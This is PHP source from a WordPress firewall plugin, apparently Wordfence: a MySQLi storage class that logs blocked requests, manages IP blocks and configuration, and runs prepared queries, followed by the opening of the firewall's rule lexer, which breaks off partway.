		if ($this->_usingLowercase === null) {
			$table = $this->tablePrefix . 'wfConfig';
			$tableExists = $this->getDb()->get_var("SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() AND BINARY TABLE_NAME='$table'");
			$this->_usingLowercase = $tableExists !== $table;
		}
		return $this->_usingLowercase;
	}

	/**
	 * Returns the table with the site (single site installations) or network (multisite) prefix added.
	 *
	 * @param string $table
	 * @param bool $applyCaseConversion Whether or not to convert the table case to what is actually in use.
	 * @return string
	 */
	public function networkTable($table, $applyCaseConversion = true) {
		if ($this->usingLowercase() && $applyCaseConversion) {
			$table = strtolower($table);
		}
		return $this->tablePrefix . $table;
	}

	/**
	 * Check if there's attack before a certain timestamp.
	 *
	 * @param int $olderThan
	 * @return bool
	 */
	public function hasPreviousAttackData($olderThan) {
		$table = $this->networkTable('wfHits');
		$lastAttackDataTruncateTime = floatval($this->getConfig('lastAttackDataTruncateTime'));
		$count = $this->db->get_var('SELECT count(*) FROM ' . $table . ' where attackLogTime < ? and attackLogTime > ?', array(
			sprintf('%.6f', $olderThan),
			$lastAttackDataTruncateTime,
		));
		return $count > 0;
	}

	/**
	 * Check if there's attack data after a given timestamp.
	 *
	 * @param int $newerThan
	 * @return bool
	 */
	public function hasNewerAttackData($newerThan) {
		$table = $this->networkTable('wfHits');
		$lastAttackDataTruncateTime = floatval($this->getConfig('lastAttackDataTruncateTime'));
		$count = $this->db->get_var('SELECT count(*) FROM ' . $table . ' where attackLogTime > ?', array(
			sprintf('%.6f', max($newerThan, $lastAttackDataTruncateTime)),
		));
		return $count > 0;
	}

	/**
	 * Get all attack data.
	 *
	 *
	 */
	public function getAttackData() {
		$table = $this->networkTable('wfHits');
		$lastAttackDataTruncateTime = floatval($this->getConfig('lastAttackDataTruncateTime'));
		$results = $this->db->get_results('SELECT * FROM ' . $table . ' WHERE attackLogTime > ?', array(
			$lastAttackDataTruncateTime,
		));

		$data = array();
		foreach ($results as $row) {
			$actionData = wfWAFUtils::json_decode($row['actionData'], true);
			if (!is_array($actionData))
				$actionData = array();
			$data[] = array(
				$row['attackLogTime'],
				$row['ctime'],
				wfWAFUtils::inet_ntop($row['IP']),
				(array_key_exists('learningMode', $actionData) ? $actionData['learningMode'] : 0),
				(array_key_exists('paramKey', $actionData) ? $actionData['paramKey'] : false),
				(array_key_exists('paramValue', $actionData) ? $actionData['paramValue'] : false),
				(array_key_exists('failedRules', $actionData) ? $actionData['failedRules'] : ''),
				strpos($row['URL'], 'https') === 0 ? 1 : 0,
				(array_key_exists('fullRequest', $actionData) ? $actionData['fullRequest'] : ''),
			);
		}
		return wfWAFUtils::json_encode($data);
	}

	/**
	 * Get all attack data in array format.
	 */
	public function getAttackDataArray() {
		return $this->getNewestAttackDataArray(floatval($this->getConfig('lastAttackDataTruncateTime')));
	}

	/**
	 * Get attack data after a certain timestamp in array format.
	 *
	 * @param int $newerThan
	 * @return array
	 */
	public function getNewestAttackDataArray($newerThan) {
		$table = $this->networkTable('wfHits');
		$results = $this->db->get_results('SELECT * FROM ' . $table . ' WHERE attackLogTime > ?', array(
			$newerThan,
		));

		$data = array();
		foreach ($results as $row) {
			$actionData = wfWAFUtils::json_decode($row['actionData'], true);
			if (!is_array($actionData))
				$actionData = array();
			$data[] = array(
				$row['attackLogTime'],
				$row['ctime'],
				wfWAFUtils::inet_ntop($row['IP']),
				(array_key_exists('learningMode', $actionData) ? $actionData['learningMode'] : 0),
				(array_key_exists('paramKey', $actionData) ? base64_decode($actionData['paramKey']) : false),
				(array_key_exists('paramValue', $actionData) ? base64_decode($actionData['paramValue']) : false),
				(array_key_exists('failedRules', $actionData) ? $actionData['failedRules'] : ''),
				strpos($row['URL'], 'https') === 0 ? 1 : 0,
				(array_key_exists('fullRequest', $actionData) ? base64_decode($actionData['fullRequest']) : ''),
				(array_key_exists('requestMetadata', $actionData) ? $actionData['requestMetadata'] : ''),
				$row['id'],
			);
		}
		return $data;
	}

	/**
	 * I don't think this will be needed for what it's used for in the plugin.
	 */
	public function truncateAttackData() {
		$this->setConfig('lastAttackDataTruncateTime', microtime(true));
		return true;
	}

	/**
	 * Insert request into wfHits.
	 *
	 * @param array $failedRules
	 * @param string $failedParamKey
	 * @param string $failedParamValue
	 * @param wfWAFRequestInterface $request
	 * @param mixed $_
	 * @return mixed
	 */
	public function logAttack($failedRules, $failedParamKey, $failedParamValue, $request, $_ = null) {
		$table = $this->networkTable('wfHits');

		$failedRulesString = '';
		if (is_array($failedRules)) {
			/**
			 * @var int $index
			 * @var wfWAFRule|int $rule
			 */
			foreach ($failedRules as $index => $rule) {
				if ($rule instanceof wfWAFRule) {
					$failedRulesString .= $rule->getRuleID() . '|';
				} else {
					$failedRulesString .= $rule . '|';
				}
			}
			$failedRulesString = wfWAFUtils::substr($failedRulesString, 0, -1);
		}
		if (preg_match('/\blogged\b/i', $failedRulesString)) {
			$statusCode = 200;
			$action = 'logged:waf';
		} else {
			$statusCode = 403;
			$action = 'blocked:waf';
		}

		$ua = '';
		$referer = '';
		$headers = $request->getHeaders();
		if (is_array($headers)) {
			if (array_key_exists('User-Agent', $headers)) {
				$ua = $headers['User-Agent'];
			}
			if (array_key_exists('Referer', $headers)) {
				$referer = $headers['Referer'];
			}
		}

		$attackData = array(
				'failedRules'     => $failedRulesString,
				'paramKey'        => base64_encode((string) $failedParamKey),
				'paramValue'      => base64_encode((string) $failedParamValue),
				'path'            => base64_encode($request->getPath()),
				'fullRequest'     => base64_encode($request),
				'requestMetadata' => $request->getMetadata(),
		);
		$attackDataJson = wfWAFUtils::json_encode_limited($attackData, 65535, array('fullRequest', 'paramValue'));

		$row = array(
			'attackLogTime'     => microtime(true),
			'ctime'             => $request->getTimestamp(),
			'IP'                => wfWAFUtils::inet_pton($request->getIP()),
			'statusCode'        => $statusCode,
			'URL'               => $request->getProtocol() . '://' . $request->getHost() . $request->getURI(),
			'isGoogle'          => 0,
			'userID'            => 0,
			'newVisit'          => 0,
			'referer'           => $referer,
			'UA'                => $ua,
			'action'            => $action,
			'actionData'        => $attackDataJson
		);

		try {
			return $this->db->insert($table, $row);
		} catch (wfWAFStorageEngineMySQLiException $e) { // Let the firewall block the request without logging.
			error_log('Failed to log attack data: ' . $e->getMessage());
			return false;
		}
	}

	/**
	 * Insert IP into wfBlocks.
	 *
	 * @param float $timestamp
	 * @param string $ip
	 * @param int $type
	 * @return mixed
	 */
	public function blockIP($timestamp, $ip, $type = wfWAFStorageInterface::IP_BLOCKS_SINGLE) {
		$blockedIPs = $this->getConfig('wfWAFBlockedIPs');
		if (!$blockedIPs) {
			$blockedIPs = array();
		}
		$blockedIPs[$ip] = array($timestamp, $type);
		$this->setConfig('wfWAFBlockedIPs', $blockedIPs);
		return true;
	}

	/**
	 * Check if the IP is in wfBlocks.
	 *
	 * @param string $ip
	 * @return bool
	 */
	public function isIPBlocked($ip) {
		$blockedIPs = $this->getConfig('wfWAFBlockedIPs');
		if (!$blockedIPs) {
			$blockedIPs = array();
		}
		return array_key_exists($ip, $blockedIPs) && is_array($blockedIPs[$ip]) && $blockedIPs[$ip][0] >= time();
	}

	/**
	 * Remove all blocked IPs.
	 *
	 * @param int $types
	 */
	public function purgeIPBlocks($types = wfWAFStorageInterface::IP_BLOCKS_ALL) {
		if ($types === wfWAFStorageInterface::IP_BLOCKS_ALL) {
			$this->unsetConfig('wfWAFBlockedIPs');
		} else {
			$blockedIPs = $this->getConfig('wfWAFBlockedIPs');
			if (!$blockedIPs) {
				$blockedIPs = array();
			}
			foreach ($blockedIPs as $key => $values) {
				list($timestamp, $type) = $values;
				if (($type & $types) > 0 || $timestamp < time()) {
					unset($blockedIPs[$key]);
				}
			}
			$this->setConfig('wfWAFBlockedIPs', $blockedIPs);
		}
	}

	/**
	 * Query config item from wfConfig table.
	 *
	 * @param $key
	 * @param null $default
	 * @param string $category
	 * @return mixed
	 */
	public function getConfig($key, $default = null, $category = '') {
		if (!$this->data) {
			$this->autoloadConfig();
		}

		if (array_key_exists($category, $this->data) && array_key_exists($key, $this->data[$category])) {
			if (!isset($this->serializedStatus[$key]) && in_array($key, $this->getSerializedParams())) { //Value is still serialized from the autoload, finish deserializing
				$value = @unserialize($this->data[$category][$key]);
				$this->data[$category][$key] = $value;
				$this->serializedStatus[$key] = true;
			}
			return $this->data[$category][$key];
		}

		$table = $this->getStorageTable($category);
		$val = $this->db->get_var('SELECT val FROM ' . $table . ' WHERE name = ?', array(
			$key,
		));
		if ($val !== null) {
			if (in_array($key, $this->getSerializedParams())) {
				$value = @unserialize($val);
				$this->data[$category][$key] = $value;
				$this->serializedStatus[$key] = true;
				return $value;
			}
			$this->data[$category][$key] = $val;
			return $val;
		}
		return $default;
	}

	/**
	 * Insert/update wfConfig table for WAF option.
	 *
	 * @param $key
	 * @param $value
	 * @param string $category
	 */
	public function setConfig($key, $value, $category = '') {
		if (!array_key_exists($category, $this->data)) {
			$this->data[$category] = array();
		}

		$changedConfigValue = (array_key_exists($key, $this->data[$category]) && $this->data[$category][$key] != $value) ||
			!array_key_exists($key, $this->data[$category]);

		if (!$this->dataChanged && $changedConfigValue) {
			$this->dataChanged = array($category, $key, true);
			$this->shutdownRegistry->register(array($this, 'saveConfig'), wfShutdownRegistry::PRIORITY_LAST);
		}
		if ($changedConfigValue) {
			$this->dataToSave[$category][$key] = $value;
		}

		$this->data[$category][$key] = $value;
		if (in_array($key, $this->getSerializedParams())) {
			$this->serializedStatus[$key] = true;
		}
	}

	/**
	 * Delete config item from wfConfig table.
	 *
	 * @param $key
	 * @param string $category
	 */
	public function unsetConfig($key, $category = '') {
		unset($this->data[$category][$key]);
		$table = $this->getStorageTable($category);
		$this->db->delete($table, array(
			'name' => $key,
		));
	}

	/**
	 *
	 */
	public function saveConfig() {
		if ($this->uninstalled) {
			return;
		}

		try {
			foreach ($this->dataToSave as $category => $data) {
				foreach ($data as $key => $value) {
					if (in_array($key, $this->getSerializedParams())) {
						if (isset($this->serializedStatus[$key])) {
							$value = serialize($value);
						}
					}
					$table = $this->getStorageTable($category);
					$this->db->query("INSERT INTO {$table} (name, val, autoload) values (?, ?, 'no') ON DUPLICATE KEY UPDATE val = ?", array(
						$key,
						$value,
						$value,
					));
				}
			}
		} catch (wfWAFStorageEngineMySQLiException $e) {
			if (WFWAF_DEBUG) {
				error_log($e);
			}
		}
	}

	/**
	 * Remove related WAF specific configuration.
	 */
	public function uninstall() {
		try {
			$this->getDb()->query("DROP TABLE IF EXISTS " . $this->networkTable('wfwafconfig'));
		} catch (wfWAFStorageEngineMySQLiException $e) {
			error_log($e);
		}
		$this->uninstalled = true;
	}

	/**
	 * Pull from wfConfig.
	 */
	public function isInLearningMode() {
		if ($this->getConfig('wafStatus', '') == 'learning-mode') {
			if ($this->getConfig('learningModeGracePeriodEnabled', false)) {
				if ($this->getConfig('learningModeGracePeriod', 0) > time()) {
					return true;
				} else {
					// Reached the end of the grace period, activate the WAF.
					$this->setConfig('wafStatus', 'enabled');
					$this->setConfig('learningModeGracePeriodEnabled', 0);
					$this->unsetConfig('learningModeGracePeriod');
				}
			} else {
				return true;
			}
		}
		return false;
	}

	/**
	 * Pull from wfConfig.
	 */
	public function isDisabled() {
		return $this->getConfig('wafStatus', '') === 'disabled' || $this->getConfig('wafDisabled', 0);
	}

	/**
	 * Return hardcoded path maybe?
	 */
	public function getRulesDSLCacheFile() {

	}

	/**
	 * Probably not.
	 */
	public function isAttackDataFull() {
		return false;
	}

	/**
	 *
	 */
	public function vacuum() {
		$this->purgeIPBlocks(wfWAFStorageInterface::IP_BLOCKS_ALL);
	}

	/**
	 * @return wfWAFStorageEngineDatabase
	 */
	public function getDb() {
		return $this->db;
	}

	/**
	 *
	 */
	public function setDefaults() {
		$defaults = $this->getDefaultConfiguration();
		foreach ($defaults as $key => $value) {
			$val = $this->getConfig($key);
			if ($val === null) {
				$this->setConfig($key, $value);
			}
		}
	}

	/**
	 *
	 */
	public function runMigrations() {
//		$currentVersion = $this->getConfig('version');
//		if (!$currentVersion || version_compare($currentVersion, WFWAF_VERSION) === -1) {
//
//		}

		$this->getDb()->query("CREATE TABLE IF NOT EXISTS " . $this->networkTable('wfwafconfig') .
			" (
	`name` varchar(100) NOT NULL,
	`val` longblob,
	`autoload` enum('no','yes') NOT NULL DEFAULT 'yes',
	PRIMARY KEY (`name`)
) DEFAULT CHARSET=utf8
");
	}

	/**
	 * @return array
	 */
	public function getDefaultConfiguration() {
		return array(
			'wafStatus'                      => 'learning-mode',
			'learningModeGracePeriodEnabled' => 1,
			'learningModeGracePeriod'        => time() + (86400 * 7),
			'authKey'                        => wfWAFUtils::getRandomString(64),
		);
	}

	/**
	 * @return array
	 */
	public function getSerializedParams() {
		return array(
			'cron',
			'whitelistedURLParams',
			'disabledRules',
			'wfWAFBlockedIPs',
			'wafRules',
		);
	}

	/**
	 * @return array
	 */
	public function getAutoloadParams() {
		return array(
			''          => array(
				'wafStatus',
				'learningModeGracePeriodEnabled',
				'learningModeGracePeriod',
				'authKey',
				'version',
				'advancedBlockingEnabled',
				'disabledRules',
				'patternBlocks',
				'countryBlocks',
				'otherBlocks',
				'lockouts',
				'wafRules',
				'avoid_php_input',
				'wafDisabled',
				'wfWAFBlockedIPs',
				'disableWAFBlacklistBlocking',
			),
			'livewaf'   => array(
				'cron',
				'whitelistedURLParams',
				'whitelistedURLs',
			),
			'transient' => array(
				'watchedIPs',
				'blockedPrefixes',
			),
			'synced'    => array(
				'timeoffset_wf',
				'apiKey',
				'isPaid',
				'siteURL',
				'homeURL',
				'whitelistedIPs',
				'howGetIPs',
				'howGetIPs_trusted_proxies',
				'howGetIPs_trusted_proxies_unified',
				'other_WFNet',
				'pluginABSPATH',
				'serverIPs',
				'disableWAFIPBlocking',
				'advancedBlockingEnabled',
				'blockCustomText',
				'whitelistedServiceIPs'
			),
		);
	}

	protected function autoloadConfig() {
		$params = $this->getAutoloadParams();
		foreach ($params as $category => $autoloadParams) {
			// Set default keys to null to prevent re-querying the table for config keypairs that aren't in the table.
			foreach ($autoloadParams as $autoloadParam) {
				$this->data[$category][$autoloadParam] = null;
			}

			$table = $this->getStorageTable($category);
			$whereIn = str_repeat('?,', count($autoloadParams) - 1) . '?';
			$results = $this->db->get_results('SELECT * FROM ' . $table . ' WHERE name IN (' . $whereIn . ')', $autoloadParams);
			foreach ($results as $row) {
				$this->data[$category][$row['name']] = $row['val'];
			}
		}
	}

	public function getRules() {
		return $this->getConfig('wafRules');
	}

	public function setRules($rules) {
		$this->setConfig('wafRules', $rules);
	}

	public function needsInitialRules() {
		$rules = $this->getRules();
		return !$rules;
	}

	public function getStorageTable($category) {
		switch ($category) {
			case 'livewaf':
			case 'transient':
				$table = $this->networkTable('wfwafconfig');
				break;
			default:
				$table = $this->networkTable('wfConfig');
				break;
		}
		return $table;
	}

	public function getDescription() {
		return __('mysqli', 'wordfence');
	}

}

interface wfWAFStorageEngineDatabase {

	public function connect($user, $password, $database, $host, $port = null, $socket = null, $flags = 0);

	public function setCharset($charset, $collation);

	public function close();

	public function insert($table, $data);

	public function update($table, $data, $where);

	public function delete($table, $where);

	public function query($sql, $data = array());

	public function get_var($query = null, $data = array(), $x = 0, $y = 0);

	public function get_row($query = null, $data = array(), $y = 0);

	public function get_results($query = null, $data = array());
}

class wfWAFStorageEngineMySQLi implements wfWAFStorageEngineDatabase {

	/**
	 * @var string
	 */
	private $user;
	/**
	 * @var string
	 */
	private $password;
	/**
	 * @var string
	 */
	private $database;
	/**
	 * @var string
	 */
	private $host;
	/**
	 * @var int|null
	 */
	private $port;
	/**
	 * @var string|null
	 */
	private $socket;

	/** @var mysqli */
	private $dbh;

	private $lastStatement;

	public $installing = false;

	/**
	 *
	 */
	public function __construct() {

	}

	/**
	 * @param string $user
	 * @param string $password
	 * @param string $database
	 * @param string $host
	 * @param null|int $port
	 * @param mixed $socket
	 * @return mysqli
	 * @throws wfWAFStorageEngineMySQLiException
	 */
	public function connect($user, $password, $database, $host, $port = null, $socket = null, $flags = 0, $sslOptions = null) {
		$this->dbh = mysqli_init();
		if (!empty($sslOptions) && ($flags & (MYSQLI_CLIENT_SSL | MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT))) {
			mysqli_ssl_set(
				$this->dbh,
				array_key_exists('key', $sslOptions) ? $sslOptions['key'] : null,
				array_key_exists('certificate', $sslOptions) ? $sslOptions['certificate'] : null,
				array_key_exists('ca_certificate', $sslOptions) ? $sslOptions['ca_certificate'] : null,
				array_key_exists('ca_path', $sslOptions) ? $sslOptions['ca_path'] : null,
				array_key_exists('cipher_algos', $sslOptions) ? $sslOptions['cipher_algos'] : null
			);
		}
		if (!@mysqli_real_connect($this->dbh, $host, $user, $password, $database, $port, $socket, $flags)) {
			$error = error_get_last();
			throw new wfWAFStorageEngineMySQLiException('Unable to connect to database: ' . $error['message'], $error['type']);
		}

		return $this->dbh;
	}

	public function setCharset($charset, $collation) {
		$result = $this->determineCharset($charset, $collation);
		$charset = $result['charset'];
		$collation = $result['collation'];
		$this->setConnectionCharset($charset, $collation);
	}

	protected function determineCharset($charset, $collation) {
		if ('utf8' === $charset && $this->hasCap('utf8mb4')) {
			$charset = 'utf8mb4';
		}

		if ('utf8mb4' === $charset && !$this->hasCap('utf8mb4')) {
			$charset = 'utf8';
			$collation = str_replace('utf8mb4_', 'utf8_', $collation);
		}

		if ('utf8mb4' === $charset) {
			// _general_ is outdated, so we can upgrade it to _unicode_, instead.
			if (!$collation || 'utf8_general_ci' === $collation) {
				$collation = 'utf8mb4_unicode_ci';
			} else {
				$collation = str_replace('utf8_', 'utf8mb4_', $collation);
			}
		}

		// _unicode_520_ is a better collation, we should use that when it's available.
		if ($this->hasCap('utf8mb4_520') && 'utf8mb4_unicode_ci' === $collation) {
			$collation = 'utf8mb4_unicode_520_ci';
		}

		return compact('charset', 'collation');
	}

	/**
	 * Determine if a database supports a particular feature.
	 *
	 * @param string $dbCap The feature to check for. Accepts 'collation',
	 *                       'group_concat', 'subqueries', 'set_charset',
	 *                       'utf8mb4', or 'utf8mb4_520'.
	 * @return int|false Whether the database feature is supported, false otherwise.
	 */
	public function hasCap($dbCap) {
		$version = $this->dbVersion();

		switch (strtolower($dbCap)) {
			case 'collation' :    // @since 2.5.0
			case 'group_concat' : // @since 2.7.0
			case 'subqueries' :   // @since 2.7.0
				return version_compare($version, '4.1', '>=');
			case 'set_charset' :
				return version_compare($version, '5.0.7', '>=');
			case 'utf8mb4' :      // @since 4.1.0
				if (version_compare($version, '5.5.3', '<')) {
					return false;
				}
				$client_version = mysqli_get_client_info();

				/*
				 * libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server.
				 * mysqlnd has supported utf8mb4 since 5.0.9.
				 */
				if (false !== strpos($client_version, 'mysqlnd')) {
					$client_version = preg_replace('/^\D+([\d.]+).*/', '$1', $client_version);
					return version_compare($client_version, '5.0.9', '>=');
				} else {
					return version_compare($client_version, '5.5.3', '>=');
				}
			case 'utf8mb4_520' : // @since 4.6.0
				return version_compare($version, '5.6', '>=');
		}

		return false;
	}

	public function setConnectionCharset($charset, $collation) {
		if ($this->hasCap('collation') && !empty($charset)) {
			$setCharsetSucceeded = false;

			if (function_exists('mysqli_set_charset') && $this->hasCap('set_charset')) {
				$setCharsetSucceeded = mysqli_set_charset($this->dbh, $charset);
			}

			if ($setCharsetSucceeded) {
				$query = "SET NAMES {$this->escape($charset)}";
				if ($collation) {
					$query .= " COLLATE {$this->escape($collation)}";
				}
				$this->query($query);
			}
		}
	}

	/**
	 * Retrieves the MySQL server version.
	 *
	 * @return null|string Null on failure, version number on success.
	 */
	public function dbVersion() {
		$serverInfo = mysqli_get_server_info($this->dbh);
		return preg_replace('/[^0-9.].*/', '', $serverInfo);
	}

	/**
	 *
	 */
	public function close() {
		mysqli_close($this->dbh);
	}

	/**
	 * @param string $table
	 * @param array $data
	 * @return bool|int|string
	 */
	public function insert($table, $data) {
		$sql = $this->buildInsertSQL($table, $data);
		if ($stmt = $this->query($sql, $data)) {
			$insertID = mysqli_insert_id($this->dbh);
			$stmt->close();
			return $insertID;
		}
		return false;
	}

	/**
	 * @param string $table
	 * @param array $data
	 * @param array $where
	 * @return bool|int
	 * @throws wfWAFStorageEngineMySQLiException
	 */
	public function update($table, $data, $where) {
		if (!$data) {
			throw new wfWAFStorageEngineMySQLiException('Values to update must supplied to \wfWAFStorageEngineMySQLi::update.');
		}
		if (!$where) {
			throw new wfWAFStorageEngineMySQLiException('A where clause must supplied to \wfWAFStorageEngineMySQLi::update.');
		}
		$sql = $this->buildUpdateSQL($table, $data, $where);
		if ($stmt = $this->query($sql, array_merge(array_values($data), array_values($where)))) {
			$affectedRows = mysqli_affected_rows($this->dbh);
			$stmt->close();
			return $affectedRows;
		}
		return false;

	}

	/**
	 * @param string $table
	 * @param array $where
	 * @return bool|int
	 * @throws wfWAFStorageEngineMySQLiException
	 */
	public function delete($table, $where) {
		if (!$where) {
			throw new wfWAFStorageEngineMySQLiException('A where clause must supplied to \wfWAFStorageEngineMySQLi::delete.');
		}
		$sql = $this->buildDeleteSQL($table, $where);
		if ($stmt = $this->query($sql, $where)) {
			$affectedRows = mysqli_affected_rows($this->dbh);
			$stmt->close();
			return $affectedRows;
		}
		return false;
	}

	/**
	 * @param $sql
	 * @param array $data
	 * @return mysqli_stmt
	 * @throws wfWAFStorageEngineMySQLiException
	 */
	public function query($sql, $data = array()) {
		if ($this->installing) {
			return false;
		}

		$stmt = mysqli_prepare($this->dbh, $sql);
		if (!$stmt) {
			throw new wfWAFStorageEngineMySQLiException(
				sprintf('MySQL error[%d]: %s', mysqli_errno($this->dbh), mysqli_error($this->dbh)),
				mysqli_errno($this->dbh)
			);
		}

		$bindFormats = '';
		$bindData = array();
		$bindCounter = 0;
		foreach ($data as $value) {
			switch (gettype($value)) {
				case 'integer':
				case 'boolean':
					$bindFormats .= 'i';
					${"bindVar{$bindCounter}"} = (int) $value;
					$bindData[] = &${"bindVar{$bindCounter}"};
					break;

				case 'string':
					$bindFormats .= 's';
					${"bindVar{$bindCounter}"} = $value;
					$bindData[] = &${"bindVar{$bindCounter}"};
					break;

				case 'double':
				case 'float':
					$bindFormats .= 'd';
					${"bindVar{$bindCounter}"} = $value;
					$bindData[] = &${"bindVar{$bindCounter}"};
					break;

				default:
					$bindFormats .= 'b';
					${"bindVar{$bindCounter}"} = $value;
					$bindData[] = &${"bindVar{$bindCounter}"};
					break;
			}
			$bindCounter++;
		}

		if ($bindData) {
			array_unshift($bindData, $bindFormats);
			call_user_func_array(array($stmt, 'bind_param'), $bindData);
		}

		$stmt->execute();
		if ($stmt->errno > 0) {
			throw new wfWAFStorageEngineMySQLiException('MySQL error [' . $stmt->errno . ']: ' . $stmt->error, $stmt->errno);
		}

		return $stmt;
	}

	/**
	 * @param mysqli_stmt $stmt
	 * @return array
	 */
	public function statementToArray($stmt) {
		if (!$stmt) {
			return array();
		}

		$result = $stmt->get_result();

		$return = array();
		while ($row = $result->fetch_array(MYSQLI_BOTH)) {
			$return[] = $row;
		}
		return $return;
	}

	/**
	 * @param string $query
	 * @param array $data
	 * @param int $x
	 * @param int $y
	 * @return null|mixed
	 */
	public function get_var($query = null, $data = array(), $x = 0, $y = 0) {
		$this->lastStatement = $this->query($query, $data);
		$results = $this->statementToArray($this->lastStatement);

		if (isset($results[$y][$x])) {
			return $results[$y][$x];
		}

		return null;
	}

	/**
	 * @param string $query
	 * @param array $data
	 * @param int $y
	 * @return mixed|null
	 */
	public function get_row($query = null, $data = array(), $y = 0) {
		$stmt = $this->query($query, $data);
		$results = $this->statementToArray($stmt);

		if (isset($results[$y])) {
			return $results[$y];
		}

		return null;
	}

	/**
	 * @param string $query
	 * @param array $data
	 * @return array
	 */
	public function get_results($query = null, $data = array()) {
		$stmt = $this->query($query, $data);
		return $this->statementToArray($stmt);
	}

	/**
	 * @param mixed $value
	 * @return string
	 */
	public function escape($value) {
		return sprintf("'%s'", mysqli_real_escape_string($this->dbh, $value));
	}

	/**
	 * @param string $table
	 * @param array $data
	 * @return string
	 */
	protected function buildInsertSQL($table, $data) {
		$columns = array();
		$values = array();
		foreach ($data as $column => $value) {
			$columns[] = $this->sanitizeColumn($column);
			$values[] = '?';
		}
		$sql = sprintf('INSERT INTO %s (%s) VALUES (%s)', $table, join(',', $columns), join(',', $values));
		return $sql;
	}

	/**
	 * @param string $column
	 * @return mixed
	 */
	protected function sanitizeColumn($column) {
		return preg_replace('/[^a-zA-Z0-9_]/i', '', $column);
	}

	/**
	 * @return mixed
	 */
	public function getLastStatement() {
		return $this->lastStatement;
	}

	/**
	 * @param string $table
	 * @param array $where
	 * @return string
	 */
	protected function buildDeleteSQL($table, $where) {
		$sql = sprintf('DELETE FROM %s %s', $table, $this->buildWhereClause($where));
		return $sql;
	}

	/**
	 * @param string $table
	 * @param array $data
	 * @param array $where
	 * @return string
	 */
	protected function buildUpdateSQL($table, $data, $where) {
		if (!is_array($data)) {
			throw new InvalidArgumentException('Argument 2 expected to be array. ' . gettype($data) . ' given.');
		}
		if (count($data) === 0) {
			throw new InvalidArgumentException('Argument 2 cannot be empty.');
		}
		if (!is_array($where)) {
			throw new InvalidArgumentException('Argument 3 expected to be array. ' . gettype($where) . ' given.');
		}
		if (count($where) === 0) {
			throw new InvalidArgumentException('Argument 3 cannot be empty.');
		}

		return sprintf('UPDATE %s SET %s %s', $table, $this->buildUpdateClause($data), $this->buildWhereClause($where));
	}

	/**
	 * @param array $where
	 * @return string
	 */
	protected function buildWhereClause($where) {
		if (!is_array($where)) {
			throw new InvalidArgumentException('Argument 1 expected to be array. ' . gettype($where) . ' given.');
		}
		if (!$where) {
			return '';
		}
		$sql = 'WHERE ';
		foreach ($where as $column => $value) {
			$sql .= $this->sanitizeColumn($column) . ' = ? AND ';
		}
		return wfWAFUtils::substr($sql, 0, -5);
	}

	/**
	 * @param array $data
	 * @return string
	 */
	protected function buildUpdateClause($data) {
		if (!is_array($data)) {
			throw new InvalidArgumentException('Argument 1 expected to be array. ' . gettype($data) . ' given.');
		}
		if (!$data) {
			throw new InvalidArgumentException('Argument 1 cannot be an empty array.');
		}
		$sql = '';
		foreach ($data as $column => $value) {
			$sql .= $this->sanitizeColumn($column) . ' = ?, ';
		}
		return wfWAFUtils::substr($sql, 0, -2);
	}
}


class wfWAFStorageEngineMySQLiException extends wfWAFException {

}PK       ! |@  @    parser/lexer.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

interface wfWAFLexerInterface {

	public function nextToken();

}

class wfWAFRuleLexer implements wfWAFLexerInterface {

	const MATCH_IDENTIFIER = '/[a-zA-Z_][\\w_]*/';
	const MATCH_SINGLE_STRING_LITERAL = '/\'([^\'\\\\]*(?:\\\\.[^\'\\\\]*)*)\'/As';
	const MATCH_DOUBLE_STRING_LITERAL = '/"([^#"\\\\]*(?:\\\\.[^#"\\\\]*)*)"/As';
	const MATCH_NUMBER_LITERAL = '/-?\d+(\.\d+)?/';
	const MATCH_DOT = '/\./';
	const MATCH_AND_COMPARISON_OPERATOR = '/&&/';
	const MATCH_OR_COMPARISON_OPERATOR = '/\|\|/';
	const MATCH_OPEN_PARENTHESIS = '/\(/';
	const MATCH_CLOSE_PARENTHESIS = '/\)/';
	const MATCH_COMMA = '/,/';
	const MATCH_RULE_COMPARISON_END = '/:/';
	const MATCH_ASSIGNMENT = '/=/';
	const MATCH_SINGLE_LINE_COMMENT = '/(?:#|\/\/)[^\n]*/';
	const MATCH_MULTIPLE_LINE_COMMENT = '/\/\*.*?\*\//s';
	const MATCH_OPEN_BRACKET = '/\[/';
	const MATCH_CLOSE_BRACKET = '/\]/';

	const T_RULE_START = 'T_RULE_START';
	const T_IDENTIFIER = 'T_IDENTIFIER';
	const T_SINGLE_STRING_LITERAL = 'T_SINGLE_STRING_LITERAL';
	const T_DOUBLE_STRING_LITERAL = 'T_DOUBLE_STRING_LITERAL';
	const T_NUMBER_LITERAL = 'T_NUMBER_LITERAL';
	const T_DOT = 'T_DOT';
	const T_COMPARISON_OPERATOR = 'T_COMPARISON_OPERATOR';
	const T_OPEN_PARENTHESIS = 'T_OPEN_PARENTHESIS';
	const T_CLOSE_PARENTHESIS = 'T_CLOSE_PARENTHESIS';
	const T_COMMA = 'T_COMMA';
	const T_RULE_COMPARISON_END = 'T_RULE_COMPARISON_END';
	const T_ASSIGNMENT = 'T_ASSIGNMENT';
	const T_SINGLE_LINE_COMMENT = 'T_SINGLE_LINE_COMMENT';
	const T_MULTIPLE_LINE_COMMENT = 'T_MULTIPLE_LINE_COMMENT';
	const T_OPEN_BRACKET = 'T_OPEN_BRACKET';
	const T_CLOSE_BRACKET = 'T_CLOSE_BRACKET';


	/**
	 * @var string
	 */
	private $rules;

	/**
	 * @var wfWAFStringScanner
	 */
	private $scanner;

	/**
	 * wfWAFRuleLexer constructor.
	 * @param $rules
	 */
	public function __construct($rules) {
		$this->setRules($rules);
		$this->scanner = new wfWAFStringScanner($rules);
	}

	/**
	 * @return array
	 * @throws wfWAFParserSyntaxError
	 */
	public function tokenize() {
		$tokens = array();
		while ($token = $this->nextToken()) {
			$tokens[] = $token;
		}
		return $tokens;
	}

	/**
	 * @return bool|wfWAFLexerToken
	 * @throws wfWAFParserSyntaxError
	 */
	public function nextToken() {
		if (!$this->scanner->eos()) {
			$this->scanner->skip('/\s+/s');
			if ($this->scanner->eos()) {
				return false;
			}
			if (($match = $this->scanner->scan(self::MATCH_IDENTIFIER)) !== null)
				switch (wfWAFUtils::strtolower($match)) {
					case 'if':
						return $this->createToken(self::T_RULE_START, $match);
					case 'and':
					case 'or':
					case 'xor':
						return $this->createToken(self::T_COMPARISON_OPERATOR, $match);
